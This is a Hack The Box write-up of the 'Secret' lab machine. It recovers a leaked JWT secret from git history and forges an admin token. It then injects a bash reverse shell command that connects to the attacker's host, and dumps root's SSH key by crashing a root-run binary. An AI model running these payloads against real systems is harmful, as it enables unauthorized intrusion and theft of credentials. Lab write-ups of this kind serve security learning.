HTB / Linux

Hack The Box Secret Writeup

November 02, 20218 min read
Secret machine

Enumeration

We start by running a scan on the wire to look for services.

┌──(kali㉿kali)-[~/HTB/Secret]
└─$ sudo nmap -sC -sV -p- 10.129.236.242

Alt text

We moved to enumerating the website running on port 80. The site is called Dumb docs Alt text

There's a reference to using JWT tokens for authentication. Additionally, there's a link to download the sourcecode. After downloading the /docs contains demos illustrating various actions such as user creation, registration, etc., all through different GET and POST requests. Alt text

User registration

Looking at the documentation there are many ways we could create our user using a repeater from Burpsuite or the curl command. I’ll try to register the admin username, but names must be six characters long.

curl -d '{"name":"mrinspector","email":"mrinspector@secret.com","password":"password"}' -X POST http://10.129.236.242/api/user/register -H 'Content-Type: Application/json'
{"user":"mrinspector"}

There were many encouters in the process of trying to create a valid user since there was some checking mechanisms. But Now the /api/user/login API returns a token:

┌──(kali㉿kali)-[~/HTB/Secret]
└─$ curl -d '{"email":"mrinspector@secret.com","password":"password"}' -X POST http://10.129.236.242/api/user/login -H 'Content-Type: Application/json'
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTc4MjUzMzJjMmJhYjA0NDVjNDg0NjIiLCJuYW1lIjoiMHhkZjB4ZGYiLCJlbWFpbCI6ImRmZGZkZmRmQHNlY3JldC5jb20iLCJpYXQiOjE2MzUyNjM4Mjh9.rMfMsdYkfSbl4hr1RJFwY3qWfrA3LSWVlzUON_9EW_A

Port 3000 Enumeration

Going to enumerate further the port 3000 we can tell that everything is the same as port 80. The difference vs port 80 is this one is missing the line:

Server: nginx/1.18.0 (Ubuntu) I suspect NGINX is just there to proxy for Express.

Source code Analysis

After some long time spent on doing research the way forward was in the verifytoken.js file. Below, you can see this function and that it requires the header auth-token. Alt text

There is not so much we could do without the secret after analysing the sourcecode. Next thing was to go and inspect the git and check the history.

Git

The source contains a .git directory, which means this is a Git repository, which could include history on the files in the repo. git log will show the various commits:

┌──(kali㉿kali)-[~/HTB/Secret]
└─$ git log --oneline 
e297a27 (HEAD -> master) now we can view logs from server 😃
67d8da7 removed .env for security reasons
de0a46b added /downloads
4e55472 removed swap
3a367e7 added downloads
55fe756 first commit

“remove .env for security reasons” is certainly interesting.

┌──(kali㉿kali)-[~/HTB/Secret]
└─$ git show 67d8da7
commit 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
Author: dasithsv <dasithsv@gmail.com>
Date:   Fri Sep 3 11:30:17 2021 +0530

    removed .env for security reasons

diff --git a/.env b/.env
index fb6f587..31db370 100644
--- a/.env
+++ b/.env
@@ -1,2 +1,2 @@
 DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
-TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
+TOKEN_SECRET = secret

The - in front of the line means that line is gone, and the + shows a new line. So this is showing that a long string was removes, and replaced with “secret”. It seems likely that we have the secret.

Using the instructions from the docs, I’ll add my token to the auth-header header and try this endpoint:

┌──(kali㉿kali)-[~/HTB/Secret]
└─$ curl -s 'http://10.129.236.242/api/priv' -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTc4MjUzMzJjMmJhYjA0NDVjNDg0NjIiLCJuYW1lIjoiMHhkZjB4ZGYiLCJlbWFpbCI6ImRmZGZkZmRmQHNlY3JldC5jb20iLCJpYXQiOjE2MzUyNjM4Mjh9.rMfMsdYkfSbl4hr1RJFwY3qWfrA3LSWVlzUON_9EW_A" | jq .
{
  "role": {
    "role": "you are normal user",
    "desc": "mrinspector"
  }
}

We were able to get a response back from the application informing me that I was a normal user. In conclusion, I have now worked out the authentication process which should make it easier to attack. Keep it mind we are not the admin yet. But on further inspection of the source code we can see in private.js that there are certain functions that only the admin can do.

Alt text We can see that the script is using the exec command. This means we may be able to inject code into the script on the server.

Exploitation

We'll start by forging our own JSON Web Token now that we have the secret key. We should be able to create tokens that the server will verify. We could python for this or jwt.io for this kind of stuff. I will use a python module pip3 install pyjwt. First I’ll import the package and save my token in a variable named token and the secret in a variable named secret to make them easier to work with:

>>> import jwt
>>> token = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTc4MjUzMzJjMmJhYjA0NDVjNDg0NjIiLCJuYW1lIjoiMHhkZjB4ZGYiLCJlbWFpbCI6ImRmZGZkZmRmQHNlY3JldC5jb20iLCJpYXQiOjE2MzUyNjM4Mjh9.rMfMsdYkfSbl4hr1RJFwY3qWfrA3LSWVlzUON_9EW_A'
>>> secret = 'gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE'

The jwt.decode function will decode the token if the secret is correct otherwise it will throw an error.

>>> jwt.decode(token, secret)
{'_id': '617825332c2bab0445c48462', 'name': 'mrinspector', 'email': 'mrinspector@secret.com', 'iat': 1635243828}

I’ll note above that jwt.decode() returns a dictionary with the various data from the JWT. I’ll save that to j, and then change the name to theadmin and use jwt.encode() to create a new token from that dictionary:

>>> j = jwt.decode(token, secret)
>>> j['name'] = 'theadmin'
>>> jwt.encode(j, secret)
b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJfaWQiOiI2MTc4MjUzMzJjMmJhYjA0NDVjNDg0NjIiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImRmZGZkZmRmQHNlY3JldC5jb20iLCJpYXQiOjE2MzUyNjM4Mjh9.cRgg1KkYXYSwz1xpknTFWTHnx8D-7UMewMubwAGsvQ8'

We can test this token for admin role by checking /api/priv

┌──(kali㉿kali)-[~/HTB/Secret]
└─$ curl -s 'http://10.129.236.242/api/priv' -H "auth-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJfaWQiOiI2MTc4MjUzMzJjMmJhYjA0NDVjNDg0NjIiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImRmZGZkZmRmQHNlY3JldC5jb20iLCJpYXQiOjE2MzUyNjM4Mjh9.cRgg1KkYXYSwz1xpknTFWTHnx8D-7UMewMubwAGsvQ8" | jq .
{
  "creds": {
    "role": "admin",
    "username": "theadmin",
    "desc": "welcome back admin"
  }
}

Foothold

Remember in the previous steps the code we said was vulnerable to command injection? Yes now would be the time to look at it again and try our way to our initial foothold.

We shall continue to use curl, but rather than putting the GET parameters right into the url, I’ll use -G to force a GET request, and --data-urlencode to have curl encode the data for us. Now I don’t have to worry about special characters, etc. With the code below we went ahead and added a simple bash reverse shell.

┌──(kali㉿kali)-[~/HTB/Secret]
└─$ curl -s -G 'http://10.129.236.242/api/logs' --data-urlencode "file=>/dev/null;bash -c 'bash -i >& /dev/tcp/10.10.15.4/443 0>&1'" -H "auth-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJfaWQiOiI2MTc4MjUzMzJjMmJhYjA0NDVjNDg0NjIiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImRmZGZkZmRmQHNlY3JldC5jb20iLCJpYXQiOjE2MzUyNjM4Mjh9.cRgg1KkYXYSwz1xpknTFWTHnx8D-7UMewMubwAGsvQ8" | jq -r .

On our kali machine we star a netcat listener to capture the shell.

┌──(kali㉿kali)-[~/HTB/Secret]
└─$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.129.236.242 44874
bash: cannot set terminal process group (1093): Inappropriate ioctl for device
bash: no job control in this shell
dasith@secret:~/local-web$ id
uid=1000(dasith) gid=1000(dasith) groups=1000(dasith)

We can save time and just go ahead to capture the user flag. After we've upgrade our shell.

dasith@secret:~/local-web$ cat /home/dasith/user.txt
cat /home/dasith/user.txt
449▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓058

Privilege Escalation

The developer of the count binary generously provided us with the source code to review. However, my limited coding skills and understanding of functions make it challenging for me to grasp why this is vulnerable. According to the official walkthrough, the combination of 'prctl(PR_SET_DUMPABLE, 1)' and 'valgrind.log' creates a vulnerability. As the count binary runs with root user privileges, we can exploit it to open a file and induce a crash. When it crashes, it will write the contents of the opened file to the core dump log file. Alt text

Since this piece of code could open files. Next step was to try to get it to open the SSH private key and then we dump it.

dasith@secret:/opt$ /opt/count
Enter source file/directory name: /root/.ssh/id_rsa
Total characters = 2602
Total words      = 45
Total lines      = 39
Save results a file? [y/N]:

Afterward, I utilized 'CTRL Z' to move the process to the background, followed by employing the 'kill' command to terminate the count binary. Subsequently, I utilized 'fg' to bring the binary back to the foreground.

dasith@secret:/opt$ kill -SIGSEGV `ps -e | grep -w "count" |awk -F ' ' '{print$1}'`
dasith@secret:/opt$ fg
/opt/count
Segmentation fault (core dumped)

The kill line of code finds all processes with the name "count" and sends them a "SIGSEGV" signal, causing them to terminate.

The process was executed successfully, resulting in a segmentation fault, as evidenced. I'm familiar with this error from the limited buffer overflow challenges I've attempted. Subsequently, I employed apport-unpack to unpack the crash dump to '/tmp', followed by utilizing the 'strings' command on the core dump file to extract the root user's SSH key.

dasith@secret:/var/crash$ apport-unpack _opt_count.1000.crash /tmp/crash_unpacked

Since our dump was a binary file we had to extracct the text in a standard out using the string command

dasith@secret:/tmp/crash_unpacked$ strings CoreDump

Alt text

In the final step, I echoed the private key into a file and set its permissions to 600 to restrict it only to the owner also for private and security reasons the private key must be secured. Following this, I utilized SSH to establish a connection to localhost as the root user, employing the key, and retrieved the root.txt flag.

dasith@secret:~$ ssh -i key root@localhost
Last login: Tue Oct 26 16:35:01 2021 from 10.10.14.6
root@secret:~# cat /root/root.txt
b00▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓a1c

And we that it concludes our box by submitting the root flag.

SecretHack the boxWriteupBlog

This website uses cookies 🍪